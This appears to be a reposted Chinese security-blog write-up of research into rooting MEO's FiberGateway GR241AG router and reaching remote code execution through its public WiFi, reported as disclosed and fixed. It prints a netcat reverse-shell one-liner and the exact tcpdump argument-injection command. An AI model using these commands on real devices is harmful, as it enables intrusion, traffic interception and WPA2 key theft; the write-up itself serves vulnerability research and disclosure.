拍桌子才出root:FiberGatewayGR241AG从UART故障注入打到MEO公网WiFiRCE

admin 2026-09-24 05:21:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 作者通过UART故障注入获取路由器root权限,利用tcpdump参数注入实现远程代码执行,并借默认开启的公网WiFi远程利用漏洞,影响葡萄牙运营商MEO的160万家庭。漏洞已报告并修复,作者在RootedCON2025分享研究。 综合评分: 90 文章分类: iot安全,渗透测试,漏洞分析,红队,漏洞poc


拍桌子才出 root:FiberGateway GR241AG 从 UART 故障注入打到 MEO 公网 WiFi RCE

赛博安全攻防日记

2026年9月23日 18:07 上海

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

拍桌子才出 root:FiberGateway GR241AG 从 UART 故障注入打到 MEO 公网 WiFi RCE

2023 年,作者发现葡萄牙运营商 Meo 下发的 FiberGateway GR241AG,能通过默认开启、且只能打客服才能关掉的公网 Wi‑Fi「MEO WiFi」拿下整机 root。受影响家庭超过 160 万。

缘起

2020 年作者办了 Meo 宽带。一上手 Web 面板就发现:DNS 改不了。本想挂树莓派跑 Pi-hole,又不想给每台设备单独改 DNS;前面再塞一台路由又要钱——于是埋下坑。

2022 年,不想花一百多欧从运营商买、也不想违约乱拆自家机器,就去二手市场(OLX)淘了一台 FiberGateway GR241AG,十欧到手。

找到串口

拆机后一眼看到 UART 和 JTAG。万用表摸清 UART 脚位,接上 Bus Pirate。

 

串口能通,但 U-Boot 有密码;启动后还要账号口令。默认 meo/meo 能进,拿到的却和 SSH/Telnet 一样——还是受限 shell。

串口 root:靠振动「故障注入」

听着像电影情节,但作者说就是这么发生的:当时旁边硬盘在做数据恢复。

HDD 震动叠加 Bus Pirate 虚接/松动,像某种 fault injection——启动过程里触发段错误,直接掉进 root shell。

接着赶紧跑 init 脚本,免得 watchdog 60 秒把 shell 杀掉。

有时候运气真的很重要。

一开始还以为是随机现象。硬盘恢复一停,shell 就再也出不来。于是流程变成:重启路由 → 拍桌子 → 再拍,直到再次掉进 root。 离谱。

管理员受限 Shell

下一步:抽固件。路由有 USB,插 U 盘拷 mtdblock,再用 binwalk 解包。翻凭据时,在某库里发现 admin 明文口令——而且不是公开默认口令。

 

用这口令能进 admin shell。仍受限,但能力多了不少:

  • 监控流量,含公网 MEO WiFi 流量
  • 升级固件
  • 改 DNS

目标达成:不用再焊 UART 也能改 DNS。但作者还想继续打。

冲破受限 Shell

有了 admin 口令,就在受限 shell 里挖命令/参数注入。多数命令防得还行,唯独 tcpdump 存在 参数注入。

GTFOBins 提到:用 -z 可在日志轮转时执行命令。

路由有 USB,挂载路径已知——把可执行的反弹 shell 脚本放进 U 盘即可:

#!/bin/sh /bin/sh -c rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.79 4444 >/tmp/f

SSH 登入 admin 受限壳,执行:

/debug/tcpdump --filter="udp port 1234" --file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"

再开 nc 监听,往 1234/UDP 打一包,触发 tcpdump postrotate,拿到非受限 shell。

远程代码执行

这招仍要物理插 U 盘。停测几个月后再回头看 man page:-z 配合 -G 时,postrotate 命令会把保存的文件当作输入——等于能把要执行的命令从网络侧送进去,不再需要物理接触。

 

默认开启的 MEO WiFi 公网

这张公网 Wi‑Fi 默认开着,只能打客服关。全国 160 万+ 热点,桥接进 Meo 骨干。

有了 root 后发现:多数服务绑在所有接口上;MEO WiFi 口只有 IPv6。从 MEO WiFi 用 IPv6 访问路由 Web——居然通了。

  

经 MEO WiFi 公网打 RCE

麻烦在于 IPv6 每次重启都变。Wireshark 抓联机流量也摸不准,爆破又不现实。

IPv6 有 Neighbor Discovery Protocol(NDP),靠 ICMPv6 干类似 IPv4 ARP 的活。往组播地址打 ICMPv6,就能摸到网内节点的路由信息。

MEO WiFi 口开了 NDP。往 ff02::2(All-Routers)发 ICMPv6,就能发现该接口 IPv6。

完整链路:

  1. 连上 MEO WiFi,对 ff02::2 发 ICMPv6,拿到 IPv6
  2. 用 admin 经 SSH/Telnet 连该 IPv6
  3. 本机 IPv6 上开 nc 监听
  4. 打 tcpdump 参数注入,拿 反向 shell

作者还写了两份 Python:一份跑完整利用链,一份直接 dump 私网 Wi‑Fi 的 WPA2 密钥。

影响面

站在任一 160 万+ 热点的信号范围内,攻击者可以:

  • DNS 劫持
  • 抽通话记录
  • 监控流量
  • 抽 WPA2 密钥
  • 摸内网设备
  • DoS

披露

作者报给葡萄牙国家网络安全中心(CNCS),对方转 Meo CERT。一周后,经 MEO WiFi 口的 RCE 路径就被掐断。

其余问题随后几个月陆续修;admin 口令也换了,作者没法再复测。

没拿赏金,至少获准发这篇 writeup。

时间线

顺手挖到的

不在主链上、但也值得记一笔:

  • nslookup

    输出重定向导致的 任意写

  • wget

    上的 缓冲区溢出

RootedPT 2025

作者在 RootedCON PT 2025 讲了这套研究——台上很嗨,台下也好评。

作者:João Domingos / r0ny


免责声明:

本人所有文章均为技术分享,均用于防御为目的的记录,请勿用于其他用途,否则后果自负。

更多 IoT / 车联网 / 机器人 / AI 安全资料在星球里,扫码进「车联网攻防日记」。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:赛博安全攻防日记 《拍桌子才出 root:FiberGateway GR241AG 从 UART 故障注入打到 MEO 公网 WiFi RCE》

评论:0   参与:  0